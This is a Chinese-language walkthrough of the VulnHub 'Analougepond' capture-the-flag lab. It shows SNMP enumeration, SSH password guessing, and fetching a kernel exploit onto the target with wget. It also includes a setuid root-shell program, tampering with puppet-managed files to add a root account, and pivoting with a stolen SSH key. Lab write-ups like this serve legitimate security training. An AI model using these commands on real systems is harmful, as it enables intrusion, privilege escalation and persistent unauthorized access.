2020-1-6:vulnhub靶场练习:Analougepond

醉酒当歌 提交于 2020-12-06 05:53:53

一、环境搭建

1,靶场下载连接:https://www.vulnhub.com/entry/analougepond-1,185/

2,下载完成之后使用VirtualBox虚拟机软件导入即可

3,启动靶场

二、渗透练习

1,收集信息,获取靶机ip地址

输入命令 netdiscover 获取靶场ip地址为 192.168.1.103

2,扫描靶场服务信息

输入命令:nmap -sS -sU -T4 -A -v 192.168.1.103

获取到靶场开启了,22和161端口

 22端口:说明开启了ssh服务

161端口:说明SNMP允许远程管理设备。所有配置和运行信息的储存在数据库中,通过SNMP可获得这些信息。许多管理员的错误配置将被暴露在Internet。Cackers将试图使用默认的密码public、private访问系统。他们可能会试验所有可能的组合。SNMP包可能会被错误的指向用户的网络。

3,使用snmp扫描模块获取信息

输入命令

msfconsole

use auxiliary/scanner/snmp/snmp_enum

 set rhosts 192.168.1.103

run

获取到一个用户名:eric

以及一串英语 :There is a house in New Orleans they call it...

 4,搜索这串英语,发现是《House of the Rising Sun》这首歌的歌词, PS:听了一下,感觉还不错

There is a house in New Orleans

在纽奥良有一间屋子

They call the Rising Sun

人们都叫它 日升之屋

 

5,尝试使用ssh登录

输入命令 ssh eric@192.168.1.103,发现可以登录

需要密码,根据msf扫描到的提示信息,推理密码为therisingsun,登录成功,只用歌词的头和尾

6,进行提权

收集内核信息,uname -a ,发现系统内核为ubuntu 14.04

 7,寻找可以exp

输入命令 searchsploit ubuntu 14.04,发现可用提权脚本39166.c

 

启动apache2服务

service apache2 start

 将39166.c脚本移动到apache目录

cp /usr/share/exploitdb/exploits/linux/local/39166.c /var/www/html

 

8,在靶场下载39166.c这个exp脚本

wget http://192.168.1.102/39166.c

 使用gcc对脚本进行编译,输入命令 gcc 39166.c -o exp即可进行编译

gcc 后边指定要编译的文件 

-o参数,表示输出文件名

编译成功之后会直接具备可执行权限,直接运行编译之后的脚本,./exp 提权成功

9,查看flag.txt文件

cat /root/flag.txt

显然,这不算成功,按照提示flag还没有找到

 

 10,使用find / -name "flag*",搜索发现只有一个flag.txt,可得知其他flag不在本机

 

 11,收集靶机内网信息

通过iptables -L获取信息

输入命令 arp -n,得信息,靶场上还有两台虚拟机,ip地址为192.168.122.2 和 192.168.122.3

 12,尝试使用ssh连接两台主机

主机 192.168.122.2会返回信息

192.168.122.3,没有响应 

 13,根据192.168.122.2的提示信息

意思是,sandie shaw的最著名的歌曲是登录信息,登录的时候把空格删除了,搜索了一下,她著名的歌曲是puppet on astring

所以可以使用ssh进行登录了

输入命令 ssh sandieshaw@192.168.122.2

密码为:puppetonastring

登录成功

 14,收集信息,发现/etc/puppet/modules/vulnhub/files目录下有账户信息

 

查看ssh配置文件,发现必需使用公钥

 

15,对192.168.122.2进行提权

搜索有s权限的文件,find / -perm -4000 2>/dev/null

发现在 /tmp下有个 spin

寻找spin.c文件,发现在/etc/puppet/modules/wiggle/files的目录下

 查看spin.c内容

cat spin.c

 

源代码和可执行文件都是当前登陆的账户

 

进入/etc/puppet/modules/wiggle/manifests目录,查看init.pp文件,发现这个文件必需用spin

 

16,在靶场外围机192.168.1.103上,创建一个spin文件用来提权

首先创建一个代码脚本文件,vim shell.c

源码为:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void) { setuid(0); setgid(0); system("/bin/sh"); }

 

 使用gcc进行编译,gcc shell.c -o spin,输出的文件名一定要是spin

将自己建立好的spin文件,上传到之前的文件路径,把默认的spin覆盖掉

scp spin sandieshaw@192.168.122.2:/etc/puppet/modules/wiggle/files/spin

执行上传时候,还需要数据192.168.122.2的密码

 

 上传成功

 17,重新使用ssh连接192.168.122.2

ssh sandieshaw@192.168.122.2

进入之前上传的目录/etc/puppet/modules/wiggle/files

 运行上传的spin脚本文件

./spin

发现成功执行,没有问题

 

 之后执行puppet agent,更新spin文件

更新之后,执行./spin

然后 exit退出

再使用/tmp/spin,就提权成功!!PS:原因暂时没有完全弄懂,如果哪位明白,请指教

18,查看root目录

 cat jim

cat melvin

 

 cat flag1.txt.0xff

得到字符串:3d3d674c7534795a756c476130565762764e4849793947496c4a585a6f5248496b4a3362334e3363684248496842435a756c6d5a675148616e6c5762675533623542434c756c47497a564764313557617442794d79415362764a6e5a674d585a7446325a79463256676732593046326467777961793932646751334a754e585a765247497a6c47613042695a4a4279615535454d70647a614b706b5a48316a642f67325930463264763032626a35535a6956486431395765756333643339794c364d486330524861

 字符串为16位加密,可以先进行解密,得到字符串

==gLu4yZulGa0VWbvNHIy9GIlJXZoRHIkJ3b3N3chBHIhBCZulmZgQHanlWbgU3b5BCLulGIzVGd15WatByMyASbvJnZgMXZtF2ZyF2Vgg2Y0F2dgwyay92dgQ3JuNXZvRGIzlGa0BiZJByaU5EMpdzaKpkZH1jd/g2Y0F2dv02bj5SZiVHd19Weuc3d39yL6MHc0RHa

 

 明显字符串为Base64加密的,顺序颠倒了,所以把字符串倒过来,得到

字符串:aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1HZkpKazdpME5UayBJZiB0aGlzIGRvZXNuJ3Qgd29yaywgd2F0Y2ggV2FyZ2FtZXMgZnJvbSAyMyBtaW51dGVzIGluLCB5b3UgbWlnaHQgZmluZCBhIHBhc3N3b3JkIHRoZXJlIG9yIHNvbWV0aGluZy4uLg==

 对字符串解密,得到明文信息:

https://www.youtube.com/watch?v=GfJJk7i0NTk If this doesn't work, watch Wargames from 23 minutes in, you might find a password there or something...

19,看了下链接的视频,因为本人英语垃圾,完全不知道如何解密,查询网上攻略,得知jim密码为secrets, PS:如果哪位大佬知道是如何解密的,请指教

20,查看root下所有文件,得到一个目录

/root/protovision/.I_have_you_now/.a/.b/.c/.d/.e/.f/.g/.h/.i/.j/.k/.l/.m/.n/.o/.p/.q/.r/.s/.t/.u./v./w./x./y/.z

查看该目录下文件

 21,cat my_world_you_are_persistent_try

 

 22,gpg nleeson_key.gpg,会提示需要密码,密码为看之前视频得到的密码secrets

 23,查看之后会发现得到一个nleeson_key文件,查看文件,发现是一个私钥文件

cat nleeson_key

 24,使用得到的私钥文件,登录192.168.122.3

输入命令 chmod 600 nleeson_key,使用私钥文件,其他权限必需为0

 

输入命令 ssh nleeson@192.168.122.3 -i nleeson_key,连接192.168.122.3这台机器,提示需要密码,输入密码为joshua,也就是my_world_you_are_persistent_try文件下得到的信息,连接成功

25,对192.168.122.3进行提权

因为找遍192.168.122.3的机器没发现有任何能利用的,所以退出这台,重新返回192.168.122.2这台机器

使用这条命令,生成一串密钥openssl passwd -1 -salt xyz testpass,密码为testpass

 修改/etc/puppet/modules/vulnhub/files/barringsbank-passwd,密码文件,添加账户anthony,密码为之前生成的

然后修改/etc/puppet/modules/vulnhub/files/sudoers,文件

 26,重新连接192.168.122.3

更新puppet信息,输入命令ppet agent --server 192.168.122.2

cat passwd,会发现添加的账户已经更新进去了

 27,因为添加的账户为root权限的,所以直接切换添加的账户,即可提权成功

输入命令 :su - anthony

输入密码:testpass

提示没有home目录,没关系

再次输入命令sudo su,就会登录root账户

 28,到root目录下,发现me.jpeg文件

29,将me.jpeg传输到攻击机192.168.1.102

 scp me.jpeg root@192.168.1.102:/var/www/html/me.jpeg

30,攻击机找到传输的文件

输入命令steghide --extract -sf me.jpeg,提取文件信息

Steghide是一款开源的隐写术软件,它可以让你在一张图片或者音频文件中隐藏你的秘密信息,而且你不会注意到图片或音频文件发生了任何的改变。而且,你的秘密文件已经隐藏在了原始图片或音频文件之中了。

 提示需要密码,eric电脑中也就是靶机192.168.1.103中有个名为reticulatingsplines.gif的图像,输入密码reticulatingsplines,提取成功

 

 输入图像名reticulatingsplines为密码之后,提权成功,提权到文件primate_egyptian_flag.txt

 31,查看提取到的文件,发现为16位加密字符串,截图为部分字符串

 解码之后字符串为:

gACIgACIgACIgACIgACIgACIgACIgAiCK4iLuU3b5BicvZGIzNXYiBiclRmblZGIhBycnUmclhkC
gACIgACIgACIgACIgACIgACIgACIgACIgACIK8lLt0SLu8FIgACIgACIg4SLsACIgACIgACIgACI
gACIgACIgACIgACIgACIgACIgACIgACIgACIgACIK4CYgACIgACIgcyJt4yXf5CXgBCI8BCIgACI
f91Xf91Xf91Xf91Xf91Xu0zKrsCLgACIgACIgACIgAiCcBCIg4CLgAyXgACIgACIgAyXgACXgACI
90TP90TP90TP90TP90TP94ybv9mLfhCIgACIgACIgACIKwHIgACI8x3X89Fff91Xf91X8x3Xp81X
8BCIgACIgACIgACIgACIgACIn4nfgACIgACIgACIgACIgoAfgACIgwHf9wXP81TP90TP9wHf90TP
gwFIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIK8CIg8GIvByJ+BGIgACIgAyJ+BCI
gcifgBCIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIK8CIg8GIvBCIgACIcBmfvACI
vZGIk5WYg4WahdWYgU2Yu9GI19Weg8GdgMnbvlGdhxWd0Fmcn52bDpgCKAyJt4yXf91Xu0CYgACI
g8GdgQWZpJHdgUmdnkkCKASInFGbmpwcphGdgcmbpJXd0BXYjBibvBSZtlGdggGd4l2cgUGa0Bic
sB3chRXZtBydvJHa0BSbvJnZgkXY3FGIlZ3btByb0BCLlJXZoBCdpJGIhBCc1Bycn5WaoRHI4lWb
0BCZll3bq5WZgUmdhhGI19WegUGcvhGIJBiLzdmbphGdgQXYgMHdp9GbwhXZgIWZ3BCZuFmC0l2b
wBXYgUmYgQGb192dgQ3YlB3chBycphGdg42bgs2YhJGZlVmZKIXdvlHIk5WYg42bpRncvBHI0FGa
jV2cgMWa0FWbvRXdhBybkByb0BCdlNHIlJXYgMXTWBSZzVGa0BCLlR3buBiZPpgCuQWZ0FWajVmc
gM3ZulGa0BCclV2ag8GdgQHanV3bgMXaoRHIvNnCsQXZwBXdwByZul2c1ByclRXYkBXdgkHdpJXd
C1GMk5WYSBCLuNjQy1GIvRHIztmbhhGdgknbh1kCK4SZsB3blBHIy9mZgg2Z19mblByYp1WYulHZ
5ByauFGa0BCbhl2YlB3cgEkCK4iRUNEIzlGa0ByZulGdzVGdgI3bmBieu5Wa2V2agQmbhBiWlRXe
hZnClhGdgQmbhBycldmblxGbhh2YgU2clhGdgwGbhByZulGdz9GagI3bmByaxkWb0BzZg8GdgU3b
hBCduV2YlJHIzlGagI3bmBibzImctByb0BCdhhGIlhGdgY2bgAXa0BSQg4SZjlmdkFGIlxmYhVHb
vZGIn5War92bsBSZyFGI19WegYWagIXZ0RXa3RHIy9GIDJVSg42bgUWbKQXaIBiLlNmbhR3cpN3c
0VGbw12bDBCLu9GIvdkCK4SZn5WZsxWYoNmClhGdgQWZ0VGbw12bjBSZ2FGagI3bgQnbphGIhBic
zRmbllmcGBic19EIm9GIxMCIlR2bzlGclBiZvBSN0ozNwAyb0BCMzojNwAiOlx2Yyl2YgUGa0BSZ
gowPu4iLu42bpR3Yl5mbvNGIlhGdgM3J0FGaXBiLuUTO5EDIDJkQgkyQoACa0J3bOBSZoRlCulEI
gACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACI
=oQZyFWb0h2Zp52St0CI

应该还是反的,反转之后字符串为:

CkhlcmUncyBhIGZlbmRlciBiYXNzIGZvciB5b3UuLi4KCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAsLS4gICAgICAgIF8uLS0tLl8KICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICB8ICBgXC5fXy4tJycgICAgICAgYC4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgXCAgXyAgICAgICAgXyAgLC4gICBcCiAgICAgICAgICAgLCsrKz0uX19fX19fX19fX19fX19f
X18pX3x8X19fX19ffF98X3x8ICAgIHwKICAgICAgICAgIChfLm9vby49PT09PT09PT09PT09PT09
PT09fHw9PT09PT18PXw9fHwgICAgfAogICAgICAgICAgICAgfn4nICAgICAgICAgICAgICAgICB8
ICB+JyAgICAgIGB+JyBvIG8gIC8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwg
ICAvfmBcICAgICBvIG8gIC8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBgficg
ICAgYC0uX19fXy4tJyAKCgpDb25ncmF0dWxhdGlvbnMgdG8geW91IG9uY2UgYWdhaW4gYW5kIGZv
ciB0aGUgc2l4dGggdGltZSBvbiBjYXB0dXJpbmcgdGhpcwpmbGFnISAKCkkndmUgdHJpZWQgdG8g
bWl4IHRoaW5ncyB1cCBhIGJpdCBoZXJlLCB0byBtb3ZlIGF3YXkgZnJvbSB0aHJvdyBtZXRhc3Bs
b2l0CmFuZCB3ZWIgZXhwbG9pdHMgYXQgdGhpbmdzLiBJIGhvcGUgeW91IGhhdmUgZW5qb3llZCB0
aGF0IHBvcnRpb24gYW5kIHlvdXIKZmVlZGJhY2sgb24gdGhpcyBhc3BlY3Qgd291bGQgYmUgYXBw
cmVjaWF0ZWQuCgpPZiBub3RlLCB0aGVzZSBWTXMgYXJlIHNldCB0byBkbyBhdXRvbWF0aWMgc2Vj
dXJpdHkgdXBkYXRlcyB1c2luZyBwdXBwZXQsCnNvIHRoaXMgb3VnaHQgdG8ga2VlcCB0aGluZ3Mg
ZHluYW1pYyBlbm91Z2ggZm9yIHBlb3BsZS4KCk1hbnkgdGhhbmtzIHRvIG1yQjNuLCBSYW5kMG1C
eXRlWiBhbmQga2V2aW5ueiBmb3IgdGVzdGluZyB0aGlzIENURi4KCkEgc3BlY2lhbCB0aGFuayB5
b3UgdG8gZzB0bWkxayBmb3IgaG9zdGluZyBhbGwgdGhlc2UgY2hhbGxlbmdlcyBhbmQgdGhlCnZh
bHVhYmxlIGFkdmljZS4gQSB0aXAgb2YgdGhlIGhhdCB0byBtcmIzbiBmb3IgaGlzIHJlY2VudCBh
c3Npc3RhbmNlLiBIaXQKbWUgb24gSVJDIG9yIHR3aXR0ZXIgaWYgeW91IGFyZSBsb29raW5nIGZv
ciBhIGhpbnQgb3IgaGF2ZSBjb21wbGV0ZWQgdGhlCmNoYWxsZW5nZS4KCkdvIG9uLCBDb21wbGV0
ZSB0aGUgY2lyY2xlOiAwNjozMCB0byAwNzo0NSBvZiBlcGlzb2RlICMxIG9mIE91ciBGcmllbmRz
IEluClRoZSBOb3J0aCAoQykgQkJDIDE5OTUuLiBXaGF0J3MgdGhlIGNvbm5lY3Rpb24uLi4uPwog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IC0tS25pZ2h0bWFyZQo=

最后解密,得到flag

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!